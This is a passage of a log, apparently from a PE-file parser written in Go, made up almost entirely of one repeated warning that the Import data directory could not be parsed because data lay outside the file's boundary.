+time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 